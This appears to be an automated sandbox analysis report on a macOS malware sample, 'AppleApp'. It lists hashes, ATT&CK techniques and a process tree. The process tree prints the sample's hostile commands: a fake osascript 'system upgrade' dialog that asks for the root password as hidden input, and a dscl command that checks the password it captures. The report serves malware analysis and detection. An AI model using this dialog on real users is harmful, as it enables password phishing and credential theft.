b174fea7be2ab4a99522245c2401a3dcabdbd8288b6ffd7cca9674579e9568ee

General

Target
source_folder/AppleApp.app/Contents/MacOS/AppleApp
Size 431KB
Sample260922-nav4msvanc
SHA256 b174fea7be2ab4a99522245c2401a3dcabdbd8288b6ffd7cca9674579e9568ee
MD5 ec1d23f8b49a936c9043d5be3c6cdf49
SHA1 509234ccfa77ada7db066fc66eb15d489a526904
SHA512 ff8fd6492085fdd7ea39ff416bba37dac39e8628fd1d5732a27521c4ce9bc392511319efe8cb08be93f8bdf5fd469076a355fbc09296bb26710f8234fa7a983c
SSDEEP 6144:OoK+fhNBhAPZ9F7098y4wgvNjSmLVsrVGFqqk24wz:OovA9FM54wgFjSmLWVGF9l4wz
TLSH
T18A942A55932DF813E1D6E0B2BBC5C3E2E414F23405B0915F7B8997BABFB2A856816703
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

collection credential_access defense_evasion execution

Malware Config

Signatures

Prompts the user for their password using a hidden input dialog 1 TTPs 2 IoCs

Adversaries may mimic a system prompt to capture a user's password through a GUI dialog with masked input.

credential_access collection

GUI Input Capture

T1056.002

ioc	Process
osascript -e "display dialog \"Required System Upgrade. Please enter passphrase for root.\" default answer \"\" with icon caution buttons {\"Continue\"} default button \"Continue\" giving up after 150 with title \"Application wants to install helper\" with hidden answer"	Process not Found
sh -c "osascript -e 'display dialog \"Required System Upgrade. Please enter passphrase for root.\" default answer \"\" with icon caution buttons {\"Continue\"} default button \"Continue\" giving up after 150 with title \"Application wants to install helper\" with hidden answer'"	Process not Found

AppleScript 1 TTPs 2 IoCs

AppleScript is a macOS scripting language designed to control applications and parts of the OS via inter-application messages called AppleEvents.

execution

AppleScript

T1059.002

ioc	Process
osascript -e "display dialog \"Required System Upgrade. Please enter passphrase for root.\" default answer \"\" with icon caution buttons {\"Continue\"} default button \"Continue\" giving up after 150 with title \"Application wants to install helper\" with hidden answer"	Process not Found
sh -c "osascript -e 'display dialog \"Required System Upgrade. Please enter passphrase for root.\" default answer \"\" with icon caution buttons {\"Continue\"} default button \"Continue\" giving up after 150 with title \"Application wants to install helper\" with hidden answer'"	Process not Found

Resource Forking 1 TTPs 2 IoCs

Adversaries may abuse resource forks to hide malicious code or executables to evade detection and bypass security applications. A resource fork provides applications a structured way to store resources such as thumbnail images, menu definitions, icons, dialog boxes, and code.

defense_evasion

Resource Forking

T1564.009

ioc	Process
"/Library/Internet Plug-Ins/JavaAppletPlugin.plugin/Contents/Resources/Java Updater.app/Contents/MacOS/Java Updater" -bgcheck	Process not Found
/System/Library/CoreServices/loginwindow.app/Contents/Resources/LWWeeklyMessageTracer	Process not Found

/System/Library/PrivateFrameworks/SpeechObjects.framework/Versions/A/SpeechDataInstallerd.app/Contents/MacOS/SpeechDataInstallerd
/System/Library/PrivateFrameworks/SpeechObjects.framework/Versions/A/SpeechDataInstallerd.app/Contents/MacOS/SpeechDataInstallerd
1⤵
PID:449

/System/Library/CoreServices/loginwindow.app/Contents/Resources/LWWeeklyMessageTracer
/System/Library/CoreServices/loginwindow.app/Contents/Resources/LWWeeklyMessageTracer
1⤵
PID:456

/System/Library/CoreServices/Applications/Feedback Assistant.app/Contents/Library/LaunchServices/seedusaged
"/System/Library/CoreServices/Applications/Feedback Assistant.app/Contents/Library/LaunchServices/seedusaged"
1⤵
PID:447

/bin/sh
sh -c "sudo /bin/zsh -c \"/Users/run/source_folder/AppleApp.app/Contents/MacOS/AppleApp\""
1⤵
PID:461

/bin/bash
sh -c "sudo /bin/zsh -c \"/Users/run/source_folder/AppleApp.app/Contents/MacOS/AppleApp\""
1⤵
PID:461

/usr/bin/sudo
sudo /bin/zsh -c /Users/run/source_folder/AppleApp.app/Contents/MacOS/AppleApp
1⤵
PID:461
- /bin/zsh
  /bin/zsh -c /Users/run/source_folder/AppleApp.app/Contents/MacOS/AppleApp
  2⤵
  PID:464
- /Users/run/source_folder/AppleApp.app/Contents/MacOS/AppleApp
  /Users/run/source_folder/AppleApp.app/Contents/MacOS/AppleApp
  2⤵
  PID:464

/usr/libexec/pkreporter
/usr/libexec/pkreporter
1⤵
PID:452

/Library/Internet Plug-Ins/JavaAppletPlugin.plugin/Contents/Resources/Java Updater.app/Contents/MacOS/Java Updater
"/Library/Internet Plug-Ins/JavaAppletPlugin.plugin/Contents/Resources/Java Updater.app/Contents/MacOS/Java Updater" -bgcheck
1⤵
PID:457

/bin/sh
sh -c "dscl . authonly \"root\" \"\""
1⤵
PID:465

/bin/bash
sh -c "dscl . authonly \"root\" \"\""
1⤵
PID:465

/usr/bin/dscl
dscl . authonly root
1⤵
PID:465

/bin/sh
sh -c "osascript -e 'display dialog \"Required System Upgrade. Please enter passphrase for root.\" default answer \"\" with icon caution buttons {\"Continue\"} default button \"Continue\" giving up after 150 with title \"Application wants to install helper\" with hidden answer'"
1⤵
PID:466

/bin/bash
sh -c "osascript -e 'display dialog \"Required System Upgrade. Please enter passphrase for root.\" default answer \"\" with icon caution buttons {\"Continue\"} default button \"Continue\" giving up after 150 with title \"Application wants to install helper\" with hidden answer'"
1⤵
PID:466

/usr/bin/osascript
osascript -e "display dialog \"Required System Upgrade. Please enter passphrase for root.\" default answer \"\" with icon caution buttons {\"Continue\"} default button \"Continue\" giving up after 150 with title \"Application wants to install helper\" with hidden answer"
1⤵
PID:466